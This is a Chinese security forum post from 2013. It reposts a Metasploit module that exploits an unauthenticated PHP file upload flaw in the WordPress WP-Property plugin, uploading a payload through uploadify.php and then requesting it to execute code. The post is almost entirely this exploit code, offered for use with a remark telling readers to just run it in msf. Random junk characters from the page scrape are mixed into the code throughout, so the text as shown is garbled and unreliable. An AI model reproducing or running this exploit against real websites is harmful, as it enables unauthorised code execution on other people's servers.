找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2489|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞0 |. |$ Y5 L6 |# A6 K& S5 O# q

7 d! r! X7 z# G( U ## # This file is part of the Metasploit Framework and may be subject to( W  c7 c% w1 x  K

2 ?) r6 q9 n, l# redistribution and commercial restrictions. Please see the Metasploit
* n2 B) |& `$ v0 f  `7 i0 ~0 N+ j$ \+ S
# Framework web site for more information on licensing and terms of use.
( {5 t: ?4 S6 v- m4 d4 v2 t1 `' C! c) j+ B- R: m% A
#   http://metasploit.com/framework/ ##
$ l6 Y% o2 E$ I% C& X
% N) M! n6 L- w1 r" Q . d" B! x* k3 X: ^' a7 n
# Z% ?6 }" ?" ~+ X

6 w$ C) `8 A9 m5 J2 n! G- y- s. R. s$ a7 q3 F- f! E7 j
require 'msf/core'
$ c6 M, s% `% erequire 'msf/core/exploit/php_exe'' L/ V6 {$ U2 ]: v1 C. ^3 l  E" u) @

! K$ N) V+ ^0 H: O! \' A! F. ?  Aclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',0 M7 [& Q6 M- N7 I6 m* _" B5 b; {
'Description'    => %q{( W& ~( B4 I  H( x( R% J
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>. Q7 G1 E! a" ]* b( Q! I+ h$ e
[
* \* D9 e" x9 x; }$ K- c'Sammy FORGIT', # initial discovery/ |" @" H  S% F1 I' Q
'James Fitts <fitts.james[at]gmail.com>' # metasploit module2 K2 t0 X5 A" z1 \2 e' d/ Q# ~
],% w; P  b5 W" s! N; v, g) t* u% x
'License'        => MSF_LICENSE,! B' S( R( y" E
'References'     =>2 J" z, L. o/ ~0 F6 r7 ?! z
[
, S1 n4 @! T* ]$ \& i. \[ 'OSVDB', '82656' ],
4 r1 b2 A3 h+ X4 D/ t& H[ 'BID', '53787' ],! h, A7 k: x! @, b
[ 'EDB', '18987'],
; t0 T1 i% K5 g[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]& O3 n5 Z6 U3 }
],( G. a: T- E$ x: e- }  |
'Payload'        =>( l9 G6 _) v4 X2 Q. x( a
{
: y$ o8 t+ h% H) ^7 a'BadChars' => "\x00",. Y2 c0 l1 B6 C/ e7 D/ m
},7 W! a$ {3 `0 S& {/ M7 }
'Platform'       => 'php',
: p! R8 s& k" w6 R* R: u'Arch'           => ARCH_PHP,' z0 i/ @5 `2 N7 S0 B/ ~% b6 a8 o
'Targets'        =>
) n' N: V; U5 h0 J4 _; a[. Y' m+ v  I) ?3 V7 s/ i( X
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
& x8 n# }" z. ~[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]" q& \9 Q; _0 h
],
$ D+ U  T! _. ]( g1 F. ?'DefaultTarget'  => 0,
! B8 W' A$ w3 d'DisclosureDate' => 'Mar 26 2012'))# A% X& e& e) j- ~' _4 E
7 Q* m/ M$ R4 |5 y+ @
register_options(
$ l0 W# k( y4 W% m% D* t" E[& {" A; L: N0 V  A: Z# {8 S
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
2 c* e1 m& I0 \! Z9 x], self.class)% }' w0 O- G( [" c5 f
end& ~0 r7 v' S9 T' b

9 C6 b' V$ [# W) Z, o) N9 u$ g& ]def check( ^0 y5 W: M$ t5 D8 [
uri =  target_uri.path
2 K9 D  e5 t$ J6 l4 T, Quri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',3 X  u3 O3 C9 }5 b7 @0 Q$ m) R* Z$ z0 P
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
; s3 {8 _" b. g6 m& c# K* w})
6 U# U) ]7 J  ?0 K% M6 k& W5 ?+ k% z6 o1 F) F' }+ r+ D
if not res or res.code != 200: F! p: D4 `" T& b5 D2 l
return Exploit::CheckCode::Unknown0 Q( Q! H5 R9 ?# L% x; A
end
/ t+ r) A. [" B6 ?! ]# q6 M3 B
1 T+ e' `; S7 ?. n. ureturn Exploit::CheckCode::Appears
- [  k0 U7 M& W0 Jend
  f4 P) r3 G' N9 t" p* P% {# k3 {
2 T2 I2 i3 ~- }1 x& edef exploit- u+ \8 \% f+ {) O* W
uri =  target_uri.path
3 P4 c8 h! M$ h; J8 P+ A8 Muri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)5 h! S! F# ]4 N1 ?: V- Z, p

% L# S+ i. V3 _% zdata = Rex::MIME::Message.new
+ z; L8 Z! J5 M* S. zdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\""). i2 g6 }$ x) n; y9 w2 N
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
9 u2 y/ [* x6 w" spost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_'); L4 _* S7 u; F( O# `1 r0 l
# W) M+ ~& @& K* H) l0 o+ h
print_status("#{peer} - Uploading payload #{@payload_name}")
+ `5 s6 p7 A; W& E: Y7 t8 bres = send_request_cgi({4 c* j0 I; ~% L0 L; U6 I$ r5 q' P
'method' => 'POST',
5 l$ h1 ^* A+ i) S+ l1 ~5 A$ Y'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
# V9 o) f0 l( Z& T( `6 ?7 L; s( u'ctype'  => "multipart/form-data; boundary=#{data.bound}",
: o; j$ G+ U. a2 W2 s2 ^% o, M'data'   => post_data2 {( y* k' _; t% h6 o. M( B
})
" o! O3 h; `: a9 Q. ~+ Q4 v4 p- T/ Q# r) Z
if not res or res.code != 200 or res.body !~ /#{@payload_name}/% v& h2 w, N5 n# {3 A  U3 b8 {
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
$ p6 `" D& ^% o0 e, uend
  U2 _. w8 V. h6 D/ u
+ G* j+ g+ n" O6 I. I2 O1 I" ]. zupload_uri = res.body; X( X" p7 ?  j6 W" W6 n/ }0 I2 _

+ Y9 t) i. _% h; e6 s; L! e( Q- uprint_status("#{peer} - Executing payload #{@payload_name}")+ Z' c9 {" H: k6 G. T
res = send_request_raw({
1 V1 u& R& i9 b2 G' R& f'uri'    => upload_uri,
  A5 ]/ o( ^* f! Z. \# N) i9 d'method' => 'GET'
2 v' |8 K- l& e! D" a. Y* k3 a4 U})( s7 X1 x. ?  J; G5 A9 O, _; |
end& z* I* i0 M* q- W# s0 y
end
* V# f/ J5 {  p6 a; V  ~' Z# n) l/ Q3 V1 n$ Q2 @
不要问我这写的是什么 怎么利用 我是说msf.
8 o1 T. u% G- c: i; m& |+ S4 K" g: h. W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表